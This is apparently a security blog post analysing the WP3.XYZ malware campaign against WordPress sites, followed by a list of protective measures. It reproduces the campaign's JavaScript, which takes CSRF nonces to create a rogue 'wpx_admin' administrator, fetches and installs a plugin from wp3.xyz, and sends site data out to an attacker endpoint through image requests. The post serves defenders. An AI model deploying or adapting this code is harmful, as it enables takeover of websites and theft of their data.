WP3.XYZ Malware Infects 5,000+ WordPress Sites: How to Protect Your Website

Learn how the attack occurred, how it worked, and key steps to secure your site and methods to prevent future breaches.

Learn how the attack occurred, how it worked, and key steps to secure your site and methods to prevent future breaches.

Thursday, 16 January, 2025

Wordpress - Cyberware Hub
Wordpress - Cyberware Hub
Wordpress - Cyberware Hub

A new malware campaign has compromised over 5,000 WordPress sites by creating unauthorized admin accounts, installing a malicious plugin, and exfiltrating data.

Once a site is targeted, a harmful script is loaded from the domain wp3(.)xyz. This script creates a rogue admin account named wpx_admin, using credentials hardcoded within the code itself. The script first retrieves the necessary CSRF token for authentication. It then sends a POST request to the site, triggering the creation of the user account. The script also logs the result of the operation.

async function createUser() {
    const userPage = await fetch(`${window.location.origin}/wp-admin/user-new.php`, {
        credentials: 'include',
        headers: { 'Accept': 'text/html' }
    }).then(r => r.text());

    const doc = new DOMParser().parseFromString(userPage, 'text/html');
    const csrfToken = doc.querySelector('input[name="_wpnonce_create-user"]')?.value;

    if (!csrfToken) {
        sendLog({ error: 'CSRF token not found', type: 'error' });
        return;
    }

    const formData = new FormData();
    formData.append('_wpnonce_create-user', csrfToken);
    formData.append('user_login', 'wpx_admin');
    formData.append('pass1', '[REDACTED BY C/SIDE]');
    formData.append('pass2', '[REDACTED BY C/SIDE]');
    formData.append('role', 'administrator');

    const response = await fetch(`${window.location.origin}/wp-admin/user-new.php`, {
        method: 'POST',
        body: formData,
        credentials: 'include'
    });

    sendLog({ status: response.ok ? 'success' : 'failed', type: 'user_create' });
}

Once the script downloads the malicious plugin from https[:]//wp3(.)xyz/plugin(.)php, it activates the plugin on the compromised site.

The script then communicates with https[:]//wp3(.)xyz/tdw1(.)php, sending sensitive information, including admin credentials and operation logs, through obfuscated image requests.

function sendLog(data) {
    const logUrl = 'https://wp3.xyz/tdw1.php';
    const img = new Image(); // Logs data via an image request.
    const timestamp = Date.now();

    img.onerror = () => {
        if (retryCount < maxRetries) {
            retryCount++;
            setTimeout(() => sendLog(data), 1000 * retryCount); // Retry with backoff.
        }
    };

    img.src = `${logUrl}?data=${encodeURIComponent(JSON.stringify({
        ...data,
        url: window.location.origin,
        timestamp,
        userAgent: navigator.userAgent
    }))}&t=${timestamp}`;
}

Then, Finally the attacker gains admin access, the script uploads a malicious plugin to the WordPress site. It does so by fetching the plugin from a remote server and submitting it through the WordPress plugin installation page.

The installPlugin function works as follows:

  • Fetches the plugin upload page to retrieve the CSRF token, which is needed to bypass security protections.

  • Downloads the malicious plugin from the remote server.

  • Submits the plugin for installation, including the CSRF token, completing the process and installing the malicious plugin.

async function installPlugin() {
    const pluginPage = await fetch(`${window.location.origin}/wp-admin/plugin-install.php?tab=upload`, {
        credentials: 'include',
        headers: { 'Accept': 'text/html' }
    }).then(r => r.text());

    const pluginDoc = new DOMParser().parseFromString(pluginPage, 'text/html');
    const pluginToken = pluginDoc.querySelector('input[name="_wpnonce"]')?.value;

    if (pluginToken) {
        const pluginData = await fetch('https://wp3.xyz/plugin.php', {
            mode: 'no-cors'
        }).then(r => r.blob());

        const pluginForm = new FormData();
        pluginForm.append('_wpnonce', pluginToken);
        pluginForm.append('pluginzip', pluginData, 'plugin.zip');

        const response = await fetch(`${window.location.origin}/wp-admin/update.php?action=upload-plugin`, {
            method: 'POST',
            body: pluginForm,
            credentials: 'include'
        });

        sendLog({ type: 'plugin', status: response.ok ? 'installed' : 'failed' });
    }
}

        const finalCheck = await fetch(window.location.origin, {
            credentials: 'include',
            headers: { 'Accept': 'text/html' }
        }).then(r => r.text());
        
        if (finalCheck.includes('wp3.xyz')) {
            sendLog({ type: 'verification', status: 'success', message: 'Payload verified' });
        } else {
            sendLog({ type: 'verification', status: 'failed', message: 'Payload not found' });
}

Indicator of Compromise (IOC):

How to Protect Yourself from This Type of Attack?

  1. Block Malicious Domains: Use firewalls to block domains like https://wp3(.)xyz.

  2. Audit Admin Accounts: Regularly check for unauthorized users.

  3. Remove Suspicious Plugins: Validate and clean plugins on the site.

  4. Enhance CSRF Protections: Implement stronger CSRF defenses.

  5. Enforce Multi-Factor Authentication (MFA): Require MFA for all admin accounts.

  6. Limit Login Attempts: Use tools to block IPs after multiple failed logins.

  7. Deploy a Web Application Firewall (WAF): Block malicious traffic and requests.

  8. Conduct Regular Security Audits: Review WordPress setup for vulnerabilities.

  9. Apply Least Privilege: Limit admin access to only trusted users.

  10. Enforce Strong Passwords: Require complex, regularly updated passwords.

  11. Use Intrusion Detection (IDS): Monitor for abnormal server activity.

  12. Secure Sensitive Data: Protect credentials, config files, and backups.

  13. Disable XML-RPC: Turn off if not needed to avoid exploit risks.

  14. Backup Regularly: Ensure frequent backups and test restoration.

  15. Use SSL/TLS Encryption: Enforce HTTPS for secure communication.

Useful Resources for Web Security Checks:

Conclusion:

In conclusion, once an attacker gains administrative access, they can bypass security measures like CSRF tokens to upload and install a malicious plugin. This enables them to take full control of the site, often without immediate detection. To prevent such attacks, it’s crucial to enforce strong admin credentials, restrict plugin uploads to trusted sources, and regularly audit installed plugins. Additionally, keeping the WordPress platform and its components up to date is essential in reducing vulnerabilities that could be exploited by attackers.

Happy Learning !!